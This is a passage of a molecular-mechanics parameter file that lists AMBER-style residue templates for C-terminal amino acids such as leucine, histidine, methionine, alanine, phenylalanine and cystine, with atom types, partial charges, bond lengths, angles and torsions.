'charge': -0.0374, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 26, 'I': 28, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8266, 'type': 'O2'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 26, 'angle': 111.1, 'blen': 1.522, 'charge': 0.8557, 'type': 'C'}, }, "LEU": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0974, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0974, 'type': 'HC'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O']], "INTX,KFORM":['INT', '1'], "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "NAMRES":'LEUCINE COO- ANION', "HG":{'torsion': 300.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 109.5, 'blen': 1.09, 'charge': -0.0374, 'type': 'HC'}, "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'HG', 'CD1', 'HD11', 'HD12', 'HD13', 'CD2', 'HD21', 'HD22', 'HD23', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "HD11":{'torsion': 60.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 13, 'I': 14, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1038, 'type': 'HC'}, "HD12":{'torsion': 180.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 13, 'I': 15, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1038, 'type': 'HC'}, "HD13":{'torsion': 300.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 13, 'I': 16, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1038, 'type': 'HC'}, "CD2":{'torsion': 180.0, 'tree': '3', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 17, 'angle': 109.47, 'blen': 1.525, 'charge': -0.4163, 'type': 'CT'}, "CD1":{'torsion': 60.0, 'tree': '3', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 13, 'angle': 109.47, 'blen': 1.525, 'charge': -0.4163, 'type': 'CT'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1346, 'type': 'H1'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 21, 'I': 22, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8199, 'type': 'O2'}, "CG":{'torsion': 180.0, 'tree': '3', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 109.47, 'blen': 1.525, 'charge': 0.3706, 'type': 'CT'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.2847, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.2469, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 21, 'I': 23, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8199, 'type': 'O2'}, "HD21":{'torsion': 60.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 17, 'I': 18, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1038, 'type': 'HC'}, "HD23":{'torsion': 300.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 17, 'I': 20, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1038, 'type': 'HC'}, "HD22":{'torsion': 180.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 17, 'I': 19, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1038, 'type': 'HC'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 21, 'angle': 111.1, 'blen': 1.522, 'charge': 0.8326, 'type': 'C'}, }, "HID": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0565, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0565, 'type': 'HC'}, "NE2":{'torsion': 0.0, 'tree': 'S', 'NC': 11, 'NB': 12, 'NA': 14, 'I': 16, 'angle': 109.0, 'blen': 1.31, 'charge': -0.5629, 'type': 'NB'}, "ND1":{'torsion': 180.0, 'tree': 'B', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 122.0, 'blen': 1.39, 'charge': -0.3892, 'type': 'NA'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O'], ['CG', 'CE1', 'ND1', 'HD1'], ['CG', 'NE2', 'CD2', 'HD2'], ['ND1', 'NE2', 'CE1', 'HE1'], ['ND1', 'CD2', 'CG', 'CB']], "CE1":{'torsion': 180.0, 'tree': 'B', 'NC': 8, 'NB': 11, 'NA': 12, 'I': 14, 'angle': 108.0, 'blen': 1.32, 'charge': 0.1925, 'type': 'CR'}, "INTX,KFORM":['INT', '1'], "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "HD1":{'torsion': 0.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 12, 'I': 13, 'angle': 126.0, 'blen': 1.01, 'charge': 0.3755, 'type': 'H'}, "HD2":{'torsion': 180.0, 'tree': 'E', 'NC': 14, 'NB': 16, 'NA': 17, 'I': 18, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1241, 'type': 'H4'}, "HE1":{'torsion': 180.0, 'tree': 'E', 'NC': 11, 'NB': 12, 'NA': 14, 'I': 15, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1418, 'type': 'H5'}, "NAMRES":'HISTIDINE DELTAH COO- ANION', "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'ND1', 'HD1', 'CE1', 'HE1', 'NE2', 'CD2', 'HD2', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "CD2":{'torsion': 0.0, 'tree': 'S', 'NC': 12, 'NB': 14, 'NA': 16, 'I': 17, 'angle': 110.0, 'blen': 1.36, 'charge': 0.1001, 'type': 'CV'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.11, 'type': 'H1'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 19, 'I': 20, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8016, 'type': 'O2'}, "CG":{'torsion': 180.0, 'tree': 'S', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 115.0, 'blen': 1.51, 'charge': 0.0293, 'type': 'CC'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.1739, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.1046, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 19, 'I': 21, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8016, 'type': 'O2'}, "loopList":[['CG', 'CD2']], "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 19, 'angle': 111.1, 'blen': 1.522, 'charge': 0.7615, 'type': 'C'}, }, "HIE": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.062, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.062, 'type': 'HC'}, "NE2":{'torsion': 0.0, 'tree': 'B', 'NC': 11, 'NB': 12, 'NA': 13, 'I': 15, 'angle': 109.0, 'blen': 1.31, 'charge': -0.267, 'type': 'NA'}, "ND1":{'torsion': 180.0, 'tree': 'S', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 122.0, 'blen': 1.39, 'charge': -0.5517, 'type': 'NB'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O'], ['CE1', 'CD2', 'NE2', 'HE2'], ['CG', 'NE2', 'CD2', 'HD2'], ['ND1', 'NE2', 'CE1', 'HE1'], ['ND1', 'CD2', 'CG', 'CB']], "CE1":{'torsion': 180.0, 'tree': 'B', 'NC': 8, 'NB': 11, 'NA': 12, 'I': 13, 'angle': 108.0, 'blen': 1.32, 'charge': 0.1558, 'type': 'CR'}, "INTX,KFORM":['INT', '1'], "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "HE2":{'torsion': 180.0, 'tree': 'E', 'NC': 12, 'NB': 13, 'NA': 15, 'I': 16, 'angle': 125.0, 'blen': 1.01, 'charge': 0.3319, 'type': 'H'}, "HD2":{'torsion': 180.0, 'tree': 'E', 'NC': 13, 'NB': 15, 'NA': 17, 'I': 18, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1957, 'type': 'H4'}, "HE1":{'torsion': 180.0, 'tree': 'E', 'NC': 11, 'NB': 12, 'NA': 13, 'I': 14, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1448, 'type': 'H5'}, "NAMRES":'HISTIDINE EPSILON-H COO- ANION', "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'ND1', 'CE1', 'HE1', 'NE2', 'HE2', 'CD2', 'HD2', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "CD2":{'torsion': 0.0, 'tree': 'S', 'NC': 12, 'NB': 13, 'NA': 15, 'I': 17, 'angle': 110.0, 'blen': 1.36, 'charge': -0.2588, 'type': 'CW'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.165, 'type': 'H1'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 19, 'I': 20, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8065, 'type': 'O2'}, "CG":{'torsion': 180.0, 'tree': 'S', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 115.0, 'blen': 1.51, 'charge': 0.2724, 'type': 'CC'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.2699, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.1068, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 19, 'I': 21, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8065, 'type': 'O2'}, "loopList":[['CG', 'CD2']], "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 19, 'angle': 111.1, 'blen': 1.522, 'charge': 0.7916, 'type': 'C'}, }, "MET": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.048, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.048, 'type': 'HC'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 19, 'I': 20, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8105, 'type': 'O2'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O']], "SD":{'torsion': 180.0, 'tree': 'S', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 14, 'angle': 110.0, 'blen': 1.81, 'charge': -0.2692, 'type': 'S'}, "INTX,KFORM":['INT', '1'], "HG3":{'torsion': 60.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 13, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0317, 'type': 'H1'}, "HG2":{'torsion': 300.0, 'tree': 'E', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0317, 'type': 'H1'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "HE3":{'torsion': 300.0, 'tree': 'E', 'NC': 11, 'NB': 14, 'NA': 15, 'I': 18, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0625, 'type': 'H1'}, "HE2":{'torsion': 180.0, 'tree': 'E', 'NC': 11, 'NB': 14, 'NA': 15, 'I': 17, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0625, 'type': 'H1'}, "HE1":{'torsion': 60.0, 'tree': 'E', 'NC': 11, 'NB': 14, 'NA': 15, 'I': 16, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0625, 'type': 'H1'}, "NAMRES":'METHIONINE COO- ANION', "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'HG2', 'HG3', 'SD', 'CE', 'HE1', 'HE2', 'HE3', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1277, 'type': 'H1'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "CE":{'torsion': 180.0, 'tree': '3', 'NC': 8, 'NB': 11, 'NA': 14, 'I': 15, 'angle': 100.0, 'blen': 1.78, 'charge': -0.0376, 'type': 'CT'}, "CG":{'torsion': 180.0, 'tree': '3', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 109.47, 'blen': 1.525, 'charge': 0.0492, 'type': 'CT'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.2597, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.0236, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 19, 'I': 21, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8105, 'type': 'O2'}, "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 19, 'angle': 111.1, 'blen': 1.522, 'charge': 0.8013, 'type': 'C'}, }, "IDBGEN,IREST,ITYPF":['1', '1', '201'], "ALA": { "HB2":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0764, 'type': 'HC'}, "HB3":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0764, 'type': 'HC'}, "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB1', 'HB2', 'HB3', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "HB1":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0764, 'type': 'HC'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 12, 'I': 13, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8055, 'type': 'O2'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.2093, 'type': 'CT'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O']], "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1067, 'type': 'H1'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "INTX,KFORM":['INT', '1'], "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.1747, 'type': 'CT'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 12, 'angle': 111.1, 'blen': 1.522, 'charge': 0.7731, 'type': 'C'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 12, 'I': 14, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8055, 'type': 'O2'}, "NAMRES":'ALANINE COO- ANION', }, "PHE": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0443, 'type': 'HC'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0443, 'type': 'HC'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O'], ['CG', 'CE2', 'CD2', 'HD2'], ['CD2', 'CZ', 'CE2', 'HE2'], ['CE1', 'CE2', 'CZ', 'HZ'], ['CD1', 'CZ', 'CE1', 'HE1'], ['CG', 'CE1', 'CD1', 'HD1'], ['CD1', 'CD2', 'CG', 'CB']], "INTX,KFORM":['INT', '1'], "HD2":{'torsion': 180.0, 'tree': 'E', 'NC': 16, 'NB': 18, 'NA': 20, 'I': 21, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1408, 'type': 'HA'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "HD1":{'torsion': 0.0, 'tree': 'E', 'NC': 8, 'NB': 11, 'NA': 12, 'I': 13, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1408, 'type': 'HA'}, "HE1":{'torsion': 180.0, 'tree': 'E', 'NC': 11, 'NB': 12, 'NA': 14, 'I': 15, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1461, 'type': 'HA'}, "HE2":{'torsion': 180.0, 'tree': 'E', 'NC': 14, 'NB': 16, 'NA': 18, 'I': 19, 'angle': 120.0, 'blen': 1.09, 'charge': 0.1461, 'type': 'HA'}, "CD2":{'torsion': 0.0, 'tree': 'S', 'NC': 14, 'NB': 16, 'NA': 18, 'I': 20, 'angle': 120.0, 'blen': 1.4, 'charge': -0.13, 'type': 'CA'}, "NAMRES":'PHENYLALANINE COO- ANION', "CD1":{'torsion': 180.0, 'tree': 'B', 'NC': 6, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 120.0, 'blen': 1.4, 'charge': -0.13, 'type': 'CA'}, "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'CG', 'CD1', 'HD1', 'CE1', 'HE1', 'CZ', 'HZ', 'CE2', 'HE2', 'CD2', 'HD2', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "CE1":{'torsion': 180.0, 'tree': 'B', 'NC': 8, 'NB': 11, 'NA': 12, 'I': 14, 'angle': 120.0, 'blen': 1.4, 'charge': -0.1847, 'type': 'CA'}, "CE2":{'torsion': 0.0, 'tree': 'B', 'NC': 12, 'NB': 14, 'NA': 16, 'I': 18, 'angle': 120.0, 'blen': 1.4, 'charge': -0.1847, 'type': 'CA'}, "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1098, 'type': 'H1'}, "CZ":{'torsion': 0.0, 'tree': 'B', 'NC': 11, 'NB': 12, 'NA': 14, 'I': 16, 'angle': 120.0, 'blen': 1.4, 'charge': -0.0944, 'type': 'CA'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 22, 'I': 23, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8026, 'type': 'O2'}, "CG":{'torsion': 180.0, 'tree': 'S', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 115.0, 'blen': 1.51, 'charge': 0.0552, 'type': 'CA'}, "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.1825, 'type': 'CT'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.0959, 'type': 'CT'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 22, 'I': 24, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8026, 'type': 'O2'}, "loopList":[['CG', 'CD2']], "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 22, 'angle': 111.1, 'blen': 1.522, 'charge': 0.766, 'type': 'C'}, "HZ":{'torsion': 180.0, 'tree': 'E', 'NC': 12, 'NB': 14, 'NA': 16, 'I': 17, 'angle': 120.0, 'blen': 1.09, 'charge': 0.128, 'type': 'HA'}, }, "CYX": { "HB2":{'torsion': 300.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 9, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1228, 'type': 'H1'}, "HB3":{'torsion': 60.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 10, 'angle': 109.5, 'blen': 1.09, 'charge': 0.1228, 'type': 'H1'}, "atNameList":['N', 'H', 'CA', 'HA', 'CB', 'HB2', 'HB3', 'SG', 'C', 'O', 'OXT'], "DUMM":[['1', 'DUMM', 'DU', 'M', '0', '-1', '-2', '0.000', '0.000', '0.000', '0.00000'], ['2', 'DUMM', 'DU', 'M', '1', '0', '-1', '1.449', '0.000', '0.000', '0.00000'], ['3', 'DUMM', 'DU', 'M', '2', '1', '0', '1.522', '111.100', '0.000', '0.00000']], "SG":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 8, 'I': 11, 'angle': 116.0, 'blen': 1.81, 'charge': -0.0529, 'type': 'S'}, "O":{'torsion': 0.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 12, 'I': 13, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8041, 'type': 'O2'}, "CB":{'torsion': 60.0, 'tree': '3', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 8, 'angle': 111.1, 'blen': 1.525, 'charge': -0.1943, 'type': 'CT'}, "impropTors":[['-M', 'CA', 'N', 'H'], ['CA', 'OXT', 'C', 'O']], "HA":{'torsion': 300.0, 'tree': 'E', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 7, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0938, 'type': 'H1'}, "N":{'torsion': 180.0, 'tree': 'M', 'NC': 1, 'NB': 2, 'NA': 3, 'I': 4, 'angle': 116.6, 'blen': 1.335, 'charge': -0.3821, 'type': 'N'}, "INTX,KFORM":['INT', '1'], "CA":{'torsion': 180.0, 'tree': 'M', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 6, 'angle': 121.9, 'blen': 1.449, 'charge': -0.1318, 'type': 'CT'}, "H":{'torsion': 0.0, 'tree': 'E', 'NC': 2, 'NB': 3, 'NA': 4, 'I': 5, 'angle': 119.8, 'blen': 1.01, 'charge': 0.2681, 'type': 'H'}, "IFIXC,IOMIT,ISYMDU,IPOS":['CORR', 'OMIT', 'DU', 'BEG'], "CUT":['0.00000'], "C":{'torsion': 180.0, 'tree': 'M', 'NC': 3, 'NB': 4, 'NA': 6, 'I': 12, 'angle': 111.1, 'blen': 1.522, 'charge': 0.7618, 'type': 'C'}, "OXT":{'torsion': 180.0, 'tree': 'E', 'NC': 4, 'NB': 6, 'NA': 12, 'I': 14, 'angle': 120.5, 'blen': 1.229, 'charge': -0.8041, 'type': 'O2'}, "NAMRES":'CYSTINE(S-S BRIDGE) COO- ANION', }, "PRO": { "HB2":{'torsion': 256.3, 'tree': 'E', 'NC': 5, 'NB': 8, 'NA': 11, 'I': 12, 'angle': 109.5, 'blen': 1.09, 'charge': 0.0381, 'type': 'HC'}, "HB3":{'torsion': 136.3, 'tree': 'E', 